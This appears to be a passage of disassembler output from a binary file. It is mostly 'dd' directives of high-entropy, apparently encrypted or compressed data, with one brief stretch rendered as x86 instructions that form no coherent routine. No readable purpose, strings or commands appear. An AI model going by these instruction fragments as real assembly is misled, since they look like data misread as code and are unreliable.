4830C3A8h, 581F47C2h, 0F340ABFEh, 7352F1C6h dd 0C020C00Fh, 0B598BB7Ch, 0AF349403h, 0A122EA8Dh, 61F05415h dd 2380071h, 0D84E2A4Ah, 3B3C6A72h, 4C607282h, 8D5EDD11h dd 0D138616Eh, 0F952BB84h, 26608FACh, 2C48009Dh, 8A5F35h dd 246C4FFEh, 9FDFF08Fh, 0EAE38D03h, 159352h, 45FE830h dd 0DE6E814Ah, 0BCD9483Eh, 702918D0h, 0C13AD11h, 0DAF4F0AFh dd 0C90038D8h, 5C60797Ch, 0E2B36C57h, 0BF4818AFh, 8768202Bh dd 0DBD95E07h, 0E1A6AAF7h, 0BA4301B0h, 0B6A29BB5h, 386FC0B4h dd 0DD1A7718h, 0EF096C8h, 6EFFF829h, 0A14AD9A0h, 0E20CEBD0h dd 58119046h, 1697C41h, 0C8059E7Ah, 20CD93A1h, 9AE424D8h dd 76949D00h, 0E039110Ah, 0D4C715E6h, 6176F0FEh, 0BF57B8B8h dd 82AF308Dh, 0E0DF473Ah, 0AFC3B120h, 0BB950526h, 1F352E4Ah dd 9D9B3BACh, 98C338C9h, 0E17D6115h, 54270ABCh, 48E88E6h dd 0D372048h, 8B8DCFh, 34BEAFDBh, 948C30BCh, 0E2185660h dd 0CFADA476h, 18D83240h, 330DF6Dh, 447749DBh, 3920D8FAh dd 0A46032F9h, 0F13BB408h, 73BB3575h, 0FA080E20h, 0D9F85D60h dd 0D5603676h, 0A7A56119h, 0BBC2007Ch, 0FEAA3BD0h, 790FCA60h dd 0D8FA76D8h, 92E4B28h, 619BE5FDh, 8E07C08h, 3B0FF563h dd 536D01F4h, 9880A322h, 8D2554DFh, 0E628FDBBh, 6C54E856h dd 0F622F084h, 305948DAh, 358DC16h, 0AFBBADEDh, 100A49EFh dd 28EE3D1Ah, 4CF070F8h, 20577CA1h, 0A22A6784h, 0CA02B8CFh dd 0E6DB9505h, 4878C1D1h, 75FD020h, 0BA2EB88h, 0D3FBD19Ch dd 0C8806AB3h, 1D38F18Eh, 4047780Fh, 0BA71C4CDh, 0D8005FD5h dd 36FA052Ah, 8F0A1Fh, 4CEBBFCh, 4A19C9A2h, 0C4D2F01h dd 963A7AA6h, 40643820h, 0AB12AD08h, 7C0FEEAFh, 0CC8952h dd 0D75B3198h, 0AC3F00FBh, 51306B6Fh, 0E40FCFDCh, 4D527EE8h dd 1C0128B7h, 183460B6h, 0FD90146h, 0C50EC2A8h, 4AD06025h dd 82382C48h, 15B1D53h, 208D9734h, 6C74CF97h, 8E6FC402h dd 4BF6F5D0h, 4025F29Ch, 49D6D374h, 9C26E4B9h, 0AD450804h dd 4000F012h, 0B227A50Eh, 4D3890C4h, 5D240CE7h, 0DCE0B0DCh dd 0FD287665h, 8453BCDBh, 0BB7400ECh, 1C724FCFh, 954619E3h dd 0C4DEA814h, 0D1FED355h, 4C26D8A4h, 0B34468BCh, 746018C7h dd 6CA93DAh, 0DF52D53Bh, 61E398E2h, 2512098h, 40D4D050h dd 0F1B46706h, 60311Fh, 76D7108Fh, 7833B0C9h, 79A05450h dd 6DDA6305h, 0AEC45B45h, 61562C80h, 9CBB00D5h, 0E50ECC25h dd 0DC1E58CAh, 2D4A74B6h, 0B1C0B0BCh, 48D5AF23h, 0D904F8B3h dd 0D07C7667h, 8A488618h, 0B20E3Eh, 0C2961DF8h, 0C50DDEh dd 0C878FAD0h, 51DA572Fh, 0CAFA947Eh, 0D9F5ED00h, 3393BB4Bh dd 528C00AEh, 3770B20Ah, 0A3006F5Eh, 0A1AA906Ah, 7CD6DCBAh dd 7450986Eh, 49DF0EEAh, 0CA89342Bh, 0AE616C0Fh, 0B1DA01D8h dd 897B2810h, 33D7FA03h, 1878CED9h, 342F470Fh, 0DB8C0358h dd 8A08010Bh, 33BDAEDAh, 938BFCBBh, 90B65531h, 0D7077CE2h dd 9AB481A6h, 0D0428FCEh dd 0EBDF80C3h, 73EA7Fh, 0B2D9F6DEh, 0DD803181h, 0D015751Bh dd 5B778970h, 1186DAE1h, 0B9394649h, 0B1F67237h, 93A491C0h dd 264900E5h, 0D6C64676h, 51146D40h, 98D1C5h, 0AA448F43h dd 39DD66C4h, 0AF33C762h, 0AE88B240h, 0A805EA37h, 0ED69B0F5h dd 48A310C3h, 61061438h, 78248AD2h, 0BB2BE700h, 0D437DD1Dh dd 93A3012Fh, 354F31EEh, 5C9182DBh, 81B06B8Ah, 8928D48Ch dd 5796E0E3h, 392B00E9h, 0D613A647h, 5B1CECE5h, 4684BB26h dd 0D20F68D5h, 0D8DB8Ah, 528B0656h, 6F782384h, 4662B606h dd 1828CB91h, 7055F551h, 65EA4BF3h, 9D40A107h, 1E3BE86h dd 0BFC000D2h, 4731E5F6h, 0AE0F12ABh, 6D9F3EDh, 0A0AD2Dh dd 0F77DB2DFh, 0D814CFDDh, 0A4D7202Ah, 0F3FE6700h, 0CA5E28E2h dd 7EC0A8E8h, 734C0EBBh, 0CE60B302h, 0C39BB26Eh, 4100F873h dd 0DB27D6ECh, 335314AEh, 9FA07DE2h, 0F915C199h, 64913049h dd 0BCD73924h, 2F808900h, 0C0BA5776h, 93C49960h, 3090960Bh dd 0CF085562h, 0E0ACA3DDh, 0A0ACE29Eh, 59E5F864h, 9C8300E7h dd 780CEEC9h, 5B005D57h, 93EF24A0h, 0CCEA3E47h, 0BD388A40h dd 0E6BA8B07h, 0BC4A965Ch, 20E7420Ch, 0EC7658FAh, 0AC4CAF09h dd 0FB5BA420h, 2B0089D8h, 9C8BF324h, 48B24B6Bh, 4A1070D4h dd 19D3B69h, 51968A67h, 0BC418097h, 0A8224CEFh, 0D1A6581Bh dd 1D52C00Ah, 100E845h, 0D4D8ABCDh, 6177F2FDh, 0C1523060h dd 0DE0020F4h, 4DEE8C00h, 92FEC71Ah, 7F5118E6h, 0F96F609Eh dd 4E827414h, 0E5007D9Ch, 101CBB23h, 10E0CE88h, 0F1801C6h dd 20AEAAB2h, 478AE907h, 4B07230h, 0C3DF575Fh, 36848079h dd 58CF167Ch, 1BEB007Ah, 6E015303h, 0DE88FDh, 9D75EAD7h dd 2203C17Ch, 3AACA1CBh, 9E000C0h, 0B1DC98F5h, 0AA615B51h dd 5D69DF48h, 278E046h, 75E2CDCBh, 0E8C015DCh, 0C860C1D2h dd 0BA9BE728h, 514C0431h, 8870A858h, 4A01387Ch, 75D86CAEh dd 389307F7h, 0B65C0147h, 20AC8AF3h, 1A2AC8DCh, 0E705741Ch dd 6B885D59h, 10C48C10h, 0BE8AD9F9h, 0F8D50CC0h, 0A901E7D8h dd 519DDC5Fh, 0CC203868h, 0BA860371h, 0B7D845E2h, 0DB693864h dd 0C979083h, 0D458F748h, 0C32A5160h, 4F38C877h, 50D6A075h dd 824DE8F8h, 0CC7F640Fh, 0F920D757h, 81C0354Ch, 6F30BA52h dd 1EA8A0A4h, 2FAE00ACh, 2899A650h, 0ADE55318h, 28510378h dd 0DC55C2h, 93B6B9BAh, 0CB7DFA9Ah, 0D9582F00h, 0A7E7F495h dd 0F9850ED4h, 409F89E5h, 49EE60C8h, 4AB0D0DFh, 247AB51Ch dd 461BB56h, 0D030D2B4h, 10E86017h, 2A4AE5D5h, 5DB67107h dd 0ECD04EEFh, 0CD1B7D4h, 0D55347B3h, 40ADC28h, 0E865C7D2h dd 0A02404A6h, 0D3016410h, 0EE6D5566h, 42C449F6h, 49004AF8h dd 2C1ADC85h, 0A40377h, 4FE63F5Eh, 59CE6091h, 4709D053h dd 7C8080ACh, 2C497BB1h, 0D3BA5CA0h, 970250B1h, 400D9394h dd 50B152B8h, 7B03AC3Ah, 3775F831h, 8728D13Bh, 7C01CB84h dd 409ABAD3h, 94034920h, 2ECDA3Bh, 0D491B986h, 0F4BCC093h dd 8400821Eh, 23E02EEBh, 0D2240E7Ch, 0D608FC9Ah, 0D5CC0EAFh dd 696D1CA1h, 5E73F0EAh, 4AEED8A0h, 8ABD0307h, 0D4C35D7Dh dd 866FD0C7h, 0C9E400EFh, 2CA46A28h, 0FC005ABBh, 4E64D49h dd 907994F3h, 0E5113F68h, 0E76E4203h, 93B3C303h, 9EE071CDh dd 99C464C8h, 0D0936C2Ch, 0F830528Eh, 0C895DE0h, 7FBA24Fh dd 0EA4C4C90h, 3E975866h, 81E16F7Ah, 6490B910h, 0A4302F61h dd 2D490384h, 6FBCB29Ch, 12516CC0h, 0E030C567h, 0D4CD7EB3h dd 0F7EDB890h, 809764D9h, 26840B0Dh, 8A884h, 99BA9425h dd 0B1BD02Dh, 8856D0A1h, 9D787AA9h, 0D8810058h, 8DAEA002h dd 5E284A60h, 0FE917A50h, 76461942h, 40B0F8D6h, 0AA52DBE4h dd 2F4C741h, 81E8A8FDh, 1450E936h, 92F52547h, 1497421Ch dd 85A42849h, 585D22B0h, 0EC2B20Fh, 875D24DCh, 2EC82CC8h dd 0C62052F9h, 7CF6413Ah, 1630DD4Ch, 407118Ch, 32318A08h dd 108277C9h, 9766513Ah, 3835A082h, 0E5006446h, 0C9AE29DCh dd 0A4A4645Dh, 3FECFA08h, 38607451h, 778B9A1h, 0F21D8CA1h dd 0F5189E8Dh, 14B88138h, 0EDB75E29h, 9BADB080h, 9FDC3981h dd 0A87CB92Ah, 0DBA91301h, 0CBAAABFEh, 1354AC30h, 53BA8C24h dd 0CE3804B4h, 0F310FDAh, 0E16F0FF5h, 0AFB186CFh, 0EDF3D4h dd 0E4067B50h, 718B5DDAh, 52044F00h, 0CDFF3F86h, 89DE0241h dd 25E44644h, 4A1C49Ah, 20D04E5Ch, 0D2166398h, 309728h dd 0A83D7852h, 7C58FCh, 8799D094h, 0EC9F74E7h, 575CD8C0h dd 3F96458Eh, 8C3D646Fh, 0B518521Ch, 244C048h, 2806FED4h dd 0A4B57633h, 0E6A0A838h, 0D90917D2h, 0FEEC20DEh, 0A44869D5h dd 782EC00Ch, 5F22551h, 45FA6E3Ah, 23890B2h, 8805CB7Eh dd 13A97623h, 56C9E400h, 0C32A3651h, 477902B8h, 743483C1h dd 0D5017DE0h, 8ADEDF66h, 6BC80233h, 7431E893h, 0C9A135C3h dd 19100879h, 0DB00742Ch, 9F263EFAh, 326A7252h, 3328508Ah dd 604EB0C2h, 0C42C2A58h, 3003274h, 0F5F039B3h, 61FB9A31h dd 0EF0373AFh, 5ECCC8DCh, 85705448h, 94C383E9h, 0D2080BE5h dd 0D818E06Ch, 45F4A17Fh, 0DBBFB61Eh, 99081C2Ch, 9BB40F0Ah dd 0E628E90Ch, 2C20DC4Bh, 12D57CDEh, 85F22FCFh, 0C8888470h dd 0A47D5290h, 8208089Bh, 51E8027Ah, 9848B64Ch, 0AF0061F0h dd 0EACBBAC2h, 62076CDh, 8451545Bh, 0C39D30A4h, 0AB17654h dd 0A34BD9FAh, 0E123EB4h, 0D068406Ch, 3AB6F903h, 0EDE3C600h dd 144594F2h, 895E002Ch, 7231DC8Bh, 5C78E978h, 1E9BFC07h dd 80A9A5F9h, 57D142A4h, 60EF60A3h, 75A40A7Bh, 0C4EBB92Ah dd 5BD4800h, 0C7BA90D1h, 0B8B1F7Eh, 0D8780712h, 36922071h dd 2604AD65h, 0CE17638h, 91802082h, 0F4306FC0h, 410924Bh dd 3347BDE0h, 0DAA4B49Eh, 7BEFD38h, 740DCF86h, 3B084A66h dd 0B298EAE8h, 0B88348DBh, 83EF2A3Fh, 7E753D87h, 0E5682402h dd 0FC212Ch, 0B3A08AB4h, 0CCA0EA99h, 920ADBE0h, 0C80A3FCFh dd 4319B690h, 717620E1h, 32608136h, 4B02B264h, 4B33DCF0h dd 13F425B6h, 27D801DEh, 30C98A89h, 46174BA8h, 0AC49234Eh dd 0F9E44B22h, 0B430AB53h, 1D72EC8h, 0DB187CE8h, 0FCA09657h dd 0F8EC80D1h, 0E83341Fh, 5844D3D6h, 4401B545h, 24F01F53h dd 0E6127D40h, 0CC81DF4Dh, 8425A90Fh, 15624040h, 0D8DD2E05h dd 49D9007Fh, 61E9523Dh, 8BE01970h, 4C240C3Ch, 8110610Ah dd 0AB804C7h, 9C3C871Fh, 0B8BB98Bh, 38860FC0h, 0FF1C1C5Fh dd 34DF1C77h, 515907F0h, 81E11489h, 833321C1h, 6400870Ch dd 8952565Ch, 84C281E2h, 22EA8332h, 0F3FC0F14h, 9F3E108Fh dd 0B573E1Ch, 80B951E7h, 81474C31h, 340B8E9h, 860F0C93h dd 0BF7C99A4h, 0B8D76800h, 59CF013Ah, 0CCD0DE83h, 5A224CD3h dd 64EE8037h, 6231352Ch, 93301004h, 0F0015B00h, 81D4C58Bh dd 685503C4h, 0A3047F4h, 0DEBE1C89h, 7E300E78h, 320EE81h dd 0E94E0F37h, 299EED31h, 0E5CC242Ch, 0A850F653h, 78F701B9h dd 6CF3285Eh, 0ACD97338h, 622EFE9Ch, 5DE82F92h, 0FE51D981h dd 0FC59C5FFh, 90AA3EB7h, 4EC6D10Fh, 0BD501CE0h, 0EF2B0121h dd 0C100E15Dh, 0E94302EBh, 2455679Ah, 8CE68E8Fh, 80073CCEh dd 0D3F6CAF3h, 0C05EEB53h, 396628C3h, 0E98CB252h, 0F73682A2h dd 0EF81D701h, 27423D0Bh, 1F0A1920h, 9F1DC90Dh, 6D80B9DFh dd 0E98CD7A9h, 36CE51ACh dd 1553C558h, 0DB8A544h, 74FFA058h, 5F3904E6h, 0E958D08Fh dd 9AD01C31h, 6C53BE56h, 89C8E9F3h, 3D2D9453h, 79AA56BFh dd 1178483h, 0BA525EF5h, 41AD1865h, 496FBCh, 48504059h dd 58004EFFh, 2BC0B205h, 0ED0081F9h, 109043EFh, 5050C501h dd 35E908B8h, 643E9B77h, 3189070Dh, 57092CFAh, 5C2FBF02h dd 834F4737h, 9778C490h, 0D1E902CFh, 47D493Ah, 14BAF7ABh dd 29C0E255h, 5C6AE9EFh, 0D9020DA1h, 0E539203Eh, 5B794203h dd 3DDF763h, 0AB7D0CB4h, 0F0004D54h, 493A2AF5h, 145AD531h dd 568CFDE9h, 3EFC10Ah, 15013E2h, 0FB0113B3h, 80AA215Fh dd 0EBD14B6Dh, 751EC381h, 1C7013Dh, 0EC835BDDh, 0C6C2104h dd 0D798E9DBh, 0AD66BC80h, 0F52573Ah, 77033BAh, 81B1DAF7h dd 8F20B5EAh, 9F6D3783h, 0E951E062h, 3AC2F9B8h, 80ED8857h dd 0B16EFAF4h, 1AA9015h, 0B41964F6h, 835EF201h, 2105A81Eh dd 75C6F84Ah, 29A1301Fh, 2C2EED2Ah, 66206E90h, 5D543E9Ah dd 21A6C5A9h, 0C0871806h, 0F16EE7E9h, 0CD0AA47Eh, 2BEB8290h dd 148B2466h, 291FFh, 6562BB53h, 0CF71178h, 7185E9DBh dd 801A0F1Ah, 4040EC6Ch, 3AF24240h, 8989336h, 0BBBE2229h dd 71C54718h, 3B2709B8h, 0F63D678Dh, 0C4585F09h, 535E6B02h dd 4DB9C282h, 683090Fh, 7AE8132h, 0C867F20h, 0F29A9D01h dd 17040AA9h, 1516126Ch, 0FE10DE13h, 0D750739Ah, 9541AEFFh dd 0E0C9B5F4h, 0F5904EBh, 0C18DC0B6h, 24DA68BFh, 879A89D4h dd 8ECC812Ah, 78E54720h, 6F200C05h, 0C0545067h, 0EBF5F763h dd 1E06E14Fh, 65A6C088h, 0FF83BF37h, 0AC2813D1h, 3E840466h dd 4C681407h, 511012FBh, 0DCB600Ch, 5DEA2C01h, 8852C412h dd 119B5A36h, 0AFCF3F26h, 8931F968h, 74541B60h, 0A6E29B8Bh dd 620E2422h, 724259CBh, 889E090Ch, 985D5640h, 0BAD46194h dd 515A810Fh, 20D0F7B1h, 1E7F9DB0h, 0F38B5509h, 0B1228389h dd 0EFB6E861h, 1FCE3180h, 7457836h, 0E521C693h, 8853F903h dd 5BF890F7h, 0CD89065Ah, 72EE0159h, 3048E130h, 0F005EDC0h dd 5F7849C5h, 6F34EC21h, 6809B5CAh, 8AA35347h, 36422EB0h dd 0C42F4D10h, 0B60632C5h, 0B40E96F9h, 0A104EEC0h, 37B151DEh dd 0E21E9ECh, 0FE59CE20h, 0C13D2679h, 5EFE43F0h, 0F8044101h dd 2803B753h, 0D886D0B9h, 0AB0F9B68h, 0FEB6A3A1h, 2F371C82h dd 0E6E45607h, 4A448784h, 6601800Dh, 0E44C16B9h, 13D46732h dd 1AC82656h, 330A9C1Fh, 483ACCCBh, 63E04D06h, 64085C0Dh dd 40202608h, 0C580D586h, 7DEF9067h, 0E1F935AFh, 660D601Ah dd 8BE6F329h, 0C0FD3449h, 68C0B70Fh, 0E9CEA9AFh, 0A8E7CC5h dd 83E6465Fh, 0FF824363h, 0DBF1A041h, 88DEE10h, 8B0F4B03h dd 0E018FA1h, 9D685157h, 0C0606A01h, 4F0C6447h, 2CCAC05Ah dd 39416CB6h, 0A554F035h, 2EC4C194h, 0FD444D1Eh, 10C3335Fh dd 0D066631h, 8481C85Ch, 0F6B66156h, 839FBF2Fh, 0BF5E5720h dd 0C140CC3Ch, 0B007E831h, 35000ED7h, 8D024EFAh, 58C7893Fh dd 2654424Fh, 0FB55AD6h, 0B74E9808h, 95E629A5h, 682DC006h dd 7913D45h, 53E29EB9h, 953140C0h, 5DE95B27h, 8100480Bh dd 14679AF2h, 41EF527Fh, 3154EAC5h, 0C8D0AC9Ah, 0C4648950h dd 0D3F86ABFh, 3087EDE0h, 0E82806C5h, 108DCFA1h, 0F2FA885Ah dd 20FCBAB5h, 2A340C33h, 0D01E2396h, 0A95B570Bh, 2420459h dd 83900A5Fh, 0CAD59DBBh, 8132FBBh, 878904EBh, 894F911Ch dd 3A386188h, 0E6C8210Eh, 5ED4A71h, 0FD31E5EFh, 0AD00C112h dd 7037DD30h, 0F807050h, 5165E384h, 4061630h, 317A4844h dd 700C84FEh, 393DE987h, 9AC38380h, 291507CBh, 0F3556C38h dd 0E73B2B75h, 6819F3F7h, 0E7D65917h, 54C7F434h, 581CAC42h dd 75D2062Eh, 32CD913Eh, 98A5BC13h, 38834357h, 418EB988h dd 231F3A68h, 0FDBA0000h, 2906331Eh, 215A13D3h, 73D414D8h dd 694C4094h, 40B4EB2Eh, 0DA1FE7E6h, 860F3B06h, 226F3430h dd 0EF7E0AC4h, 0C27642Eh, 0F1C3F700h, 5801B5DBh, 0A71048F9h dd 0CA881793h, 1FCE5608h, 5EED4A5Ch, 0F59938Ah, 4B44A763h dd 0F1D9D146h, 0C9EE61C6h, 0B45000E4h, 7FECF8DFh, 0C3F43FA3h dd 29CC11Ch, 6FF8E9E1h, 5C189A59h, 0B35A54EFh, 1680465h dd 0C22B277h, 101B1DE9h, 82307BBh, 0C0BE7174h, 29A5707Dh dd 78E9DE0Ah, 0EC86EC3Eh, 0E93B6602h, 129E8A65h, 0A08CEC5Eh dd 0CE12AECh, 24AD9413h, 150C364Eh, 7D6F72Ah, 24135A55h dd 8916507Fh, 0C03205E0h, 4C3A66BAh, 0C9106ED0h, 9D5B282Eh dd 0EF392398h, 39CF9DC7h, 2B8ACCBAh, 0C001EDFAh, 0C2FE05EAh dd 60A7FD70h, 0B850408Ah, 0A228584Eh, 573FE20h, 0E903E00Ah dd 5B85A9B2h, 0A400D101h, 0E506A5F1h, 0F02D3A74h, 8A76BA9Fh dd 50705C8h, 5610E2E9h, 1C6521EAh, 4EC704C8h, 0BBB00997h dd 0B1224968h, 0B05083A7h, 3081B186h, 582974C1h, 8F88B093h dd 0F9C245Eh, 7FCF572Dh, 0B2291364h, 6FBF0065h, 0C10D1556h dd 10276EFh, 2EE02CBEh, 86F7299Dh, 0D886E95Bh, 94587094h dd 5F4808D0h, 2598BB01h, 2FE83E1Dh, 396B9ADAh, 0EA9EFEC2h dd 0CF07CC0Fh, 0E307C116h, 56DBF708h, 0FACAB2h, 0B94CC2BDh dd 64D533Fh, 3EDC1DDh, 0F581030Ah, 42F85E0Dh, 0BE96B0B7h dd 2904BB3Ch, 0CF215DE9h, 2B8AD9C4h, 67EE110h, 4F72880Fh dd 0F48E3517h, 5315286Eh, 6787BB00h, 0D3F70776h, 43F30681h dd 0AADB0DF9h, 0A484E92Eh, 16EE83BEh, 326DA048h, 0F743010Ch dd 54267A41h, 9A17E287h, 4B494E0Ch, 6C463114h, 2C2206h dd 72C122EAh, 2458C289h, 123D631h, 126BA0CEh, 0CD0C811Eh dd 46085178h, 724B8680h, 5E9C2A5h, 0F60434EBh, 0E6C0BA0Bh dd 0C684A204h, 124009EDh, 0D654E7E9h, 0A9828E6h, 719EB27h dd 217F899Bh, 0C9DAE92Bh, 759ECF50h, 0B86D1808h, 0E8310B9Ah dd 49048B4Bh, 0C3F35BC4h, 80555C84h, 0DC621627h, 0F5893100h dd 8E5C15Eh, 1DCD0781h, 60325714h, 74784DC5h, 2394067Fh dd 0A58BD08h, 32E9F328h, 0C0F7808Dh, 0C1B9E69Ch, 0F528C4E6h dd 59EEC05Ah, 1202B2A1h, 25A95066h, 0EE051BE9h, 0E0C27455h dd 0E148E88h, 48E20D11h, 0E89918D6h, 586A686Ah, 57C12962h dd 14582E9h, 0A446F75Bh, 0D1DB0E08h, 1B4181E3h, 201AFC64h dd 44071C20h, 28E910B8h, 595A39Bh, 0CC9CCB41h, 495048C6h dd 2858490Fh, 48160A10h, 133648D3h, 0A1234E5Fh, 0DAF6B04h dd 16948A3Ch, 582DE962h, 7468135Bh, 87EFC87Dh, 0BA20339Ah dd 215C0CE5h, 89E98BC1h, 37F1E75Ch, 6362ED2Bh, 0E1B4EB6Bh dd 15FC8103h, 889A12E7h, 0EA05C231h, 0C4940742h, 211B2225h dd 191EFEE4h, 43A37697h, 0ED2CAC4Ah, 847A73C1h, 59C83110h dd 751F5184h, 1C28558Ch, 285DE0B8h, 41A92784h, 24B93966h dd 0F24AECA2h, 0D4EF4614h, 255E8BB1h, 0E6405C35h, 63750CB8h dd 6FEAA113h, 70B459h, 54FB67FFh, 4A8A8A8Bh, 0D1E2C970h dd 4F217390h, 0D22C1C68h, 2E68686Ch, 0CB4247B1h, 0DA026912h dd 11E06D11h, 0ABA3E6C1h, 0B13863C8h, 19D135Ch, 0F2A52167h dd 85254AE9h, 0C1EFF821h, 4E290FADh, 530B969Eh, 2B8FC118h dd 584C321Ch, 14201507h, 0CD0C17C9h, 3CCB2521h, 0D247D49h dd 34FA4A13h, 0D4F38486h, 503BB3FFh, 2504A5EBh, 0EEC15F99h dd 0F2E6E880h, 0A12EB030h, 0BD640B10h, 6A68BAF8h, 962E56E3h dd 49125334h, 3B485CE7h dd 18C0F310h, 2F74EA81h, 2D0A7B84h, 0C7224A1Ah, 29039156h dd 1FB1EBDFh, 0B9FA099Bh, 0F1243AFh, 7590E06Ah, 2181C6B9h dd 0EB04A038h, 0B006291Ch, 9A59E951h, 0E5307550h, 0AAC9EF37h dd 48132C2Ch, 0CAC001E3h, 7029CCD4h, 0F3961DC9h, 530F0501h dd 0C7F07A44h, 9033E258h, 6316C0Ah, 64285C0Dh, 0C4F6CC88h dd 38C6E1C0h, 267A6071h, 20E3DE01h, 0EAE92608h, 5F9F41h dd 0F27C7BF7h, 8D150F17h, 18E45186h, 0C50B01F1h, 66588002h dd 9CC8851Fh, 42C3FDCCh, 24BD0055h, 0BB1DD20Eh, 0CE032FF2h dd 5DEB3125h, 1C21D8BAh, 0B8DAF038h, 28284A39h, 63450584h dd 79BF8451h, 244281E4h, 5BE7C1h, 0F4E638C7h, 5E9489EBh dd 256BB008h, 62E6E80Ah, 0EC660D0h, 559E58F0h, 7E3C001h dd 28D4B551h, 805902EBh, 0D98857F3h, 47B3D5E0h, 0DE29E91Ah dd 0F1FB912Eh, 9E598674h, 0C10F96DAh, 70D829B0h, 4682427Dh dd 3050188h, 29061E0Eh, 459D43C8h, 0B35AE737h, 6B8702A2h dd 7286FD46h, 0D0F71F08h, 64EA1295h, 95EFE295h, 7EF1835h dd 0D3ED914Dh, 4C1C8AB2h, 98275AF4h, 886D02C9h, 5A6D921h dd 803A200Ah, 124FD38Ch, 0DE8C065Ch, 2898B5F9h, 7CAC4505h dd 4FFB5E11h, 5834BE00h, 268F5036h, 10232047h, 0F97E505Fh dd 6CED021Eh, 40FB80DAh, 0F203AD1h, 0F901727Fh, 7908A81Fh dd 0B06998Bh, 0E8C8EC6Bh, 578064BAh, 1695EC52h, 91388670h dd 9330CBDFh, 3B95ED99h, 77ECBA8Dh, 1B07926Dh, 4D9F7F1h dd 0C6377602h, 4089D7B1h, 0BC3B9D5h, 311A3F2Fh, 6FE938E0h dd 19031719h, 847C1A9h, 0E4157DD2h, 1BBE0EE9h, 348170B0h dd 20CC5629h, 54E75BB5h, 381BA1DCh, 5C06B1EAh, 521AC804h dd 0FE20B29Ah, 9B5198F5h, 7F38BA75h, 0D852C81Bh, 0D4B3F4Bh dd 0C7FE81EFh, 33C10E53h, 62B6FE40h, 1A3A4D5Dh, 0E164445Bh dd 0F01D1E5Ah, 0CD1235CAh, 5E85E39Fh, 2DC023D2h, 4C711058h dd 8840817Bh, 84590CC7h, 357CEFD3h, 559259B9h, 0AE7B2C09h dd 2FDAD4B6h, 324F809Eh, 6201247Ch, 0D7F60930h, 0C0E0688h dd 0BE5146E9h, 999BC401h, 5EF22974h, 0B2DD7CDh, 93851126h dd 8CFDC521h, 0D968F221h, 9208156Ch, 0EAC0044Eh, 21908206h dd 0B3097DD9h, 0BF909D1h, 2D3AE05Fh, 6E0C1DECh, 56714222h dd 9D5802FCh, 64200783h, 30B893EBh, 0F5815D0Dh, 0ED95E603h dd 0ECA4E9BBh, 9D8102ACh, 69185866h, 0C16410BCh, 879A5A27h dd 0B4323B41h, 0A80BC437h, 1E12ED6h, 0C3285BD8h, 6F5A7041h dd 39456800h, 0D1B97954h, 0BF167360h, 502E7B0Eh, 3CCDA38h dd 0E9705A0Ch, 7A4CF2AFh, 0F38712D6h, 1056EC01h, 0D5E878A2h dd 6CE50381h, 683F340Ah, 301B7B48h, 0D587E42Ch, 2C06D44Ah dd 46A9EB07h, 4C5F5F7h, 1038674Bh, 0A9C02096h, 0CF32540Fh dd 0CD4C5451h, 6F372E68h, 0A66A30h, 48916A99h, 4EB238E9h dd 0D1425E94h, 6697A07h, 5A4025A4h, 75207D8Bh, 85D9F374h dd 7E0FC834h, 0C406F82h, 6D8CC63Dh, 719852DBh, 5A611F64h dd 17932AC0h, 1EE09094h, 0F4082454h, 0BDFA89D7h, 6856850Fh dd 0B5CD607Dh, 6A413678h, 6429276h, 0CDAB8731h, 4A02976h dd 2E6478F9h, 79593682h, 96E99E07h, 0EC93292Bh, 1FA2319Bh dd 29174052h, 72D59CFh, 80E7D660h, 0BE0BF281h, 8EA36590h dd 0B509306Dh, 258566FCh, 4D8C40BBh, 0D1F7CD87h, 5D515517h dd 7EED6000h, 2C2D6D3Dh, 11DFEE01h, 4FF60511h, 821D7F3Fh dd 0B72F7B82h, 5E2A6136h, 0D05C8774h, 0E6176ACFh, 59F94EBFh dd 962CD003h, 0AF904CFAh, 25936E9h, 0A49992E9h, 0E09312B9h dd 50C10B55h, 0B78F1FC8h, 0F3EBCC60h, 0B0A5A888h, 12EB9A9Fh dd 304BAB68h, 71CFE934h, 0D12C14B2h, 21676E5h, 454C8103h dd 830FF035h, 8183BC2Bh, 6C3E44F5h, 452E2007h, 0C05B5380h dd 0A538DD32h, 92C95929h, 0BF50103Ch, 7653F644h, 7F6C90D1h dd 740A1351h, 0F7A64021h, 4D30229Ah, 14CA294Dh, 8452241Bh dd 9AA351ADh, 410EE944h, 21F7F9FEh, 91788917h, 9A53642Bh db 0A0h, 12h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add [ebx], dl xchg eax, edi push 48412895h sub dword ptr [ebx], 0Dh xor ecx, 0CDDC1593h pop ecx and al, 57h push ecx jmp far ptr 0E973h:0EA696000h ; --------------------------------------------------------------------------- db 2Bh, 5Fh, 3Bh dd 82B6AC77h, 6A9800Dh, 0BA008677h, 184D0185h, 9A2DB5E9h dd 0F64F0FAAh, 0BB7C986h, 6AB0553Ch, 122674BAh, 30CAD3Ch dd 0D25C3275h, 7F46A3B7h, 8D02BD30h, 0D2012C6h, 0CE010365h dd 581164F8h, 106A8596h, 2180B920h, 3092D801h, 54565B12h dd 183D172h, 6C78F868h, 11C7C43Ch, 0FB534498h, 92968F60h dd 0C1592C00h, 850F03E0h, 0A300056Ah, 0D3B2F3F1h, 25CF8960h dd 87816EE9h, 0BD5DCD8Ah, 0E1A8708Ah, 552AEE87h, 1725F7F7h dd 0F0E9E476h, 2423965Bh, 57579E32h, 0AC1DC461h, 6C01C481h dd 0D29F8ED1h, 0EB81EABh, 0C64CF031h, 554C5708h, 24424F74h dd 69BEA7E9h, 0D730B686h, 68870C34h, 252174D1h, 0DFF72BC4h dd 0CC2B98C1h, 99005302h, 0C80A295h, 8F5AD389h, 840230FEh dd 5F3F3813h, 0E9BA9058h, 0CDF76CD0h, 87336812h, 49D26570h dd 2DD6A2B7h, 0C9723C7Bh, 6A560055h, 0A5DCE15h, 18E9C589h dd 1758BFAAh, 58128A93h, 10098BB2h, 0B4BD9FC5h, 0C08358D3h dd 5C80E896h, 6A2CD828h, 0F8B30053h, 0B4506651h, 0E5488890h dd 0B35C940Fh, 5C02B283h, 0E95C02A5h, 345644B3h, 1C60751h dd 3080C9FEh, 20F7C0CDh, 0DE4A4F8Ah, 663AC29Dh, 299D281Dh dd 0B741E81Dh, 0F8283FBCh, 88A4DC27h, 0D9CC81F5h, 0BCA08017h dd 0E96E3E09h, 225D6BD7h, 20061C8Dh, 8C9CE570h, 1E2E01BAh dd 0D8891B40h, 98030028h, 13FB804h, 76C300B5h, 0F73A8C4Eh dd 0ABE9D008h, 0F4301F8h, 81673E8Ah, 0EA2CB83h, 8EF06323h dd 9C9EE2h, 8E6C15Bh, 0D56072E9h, 25EEB938h, 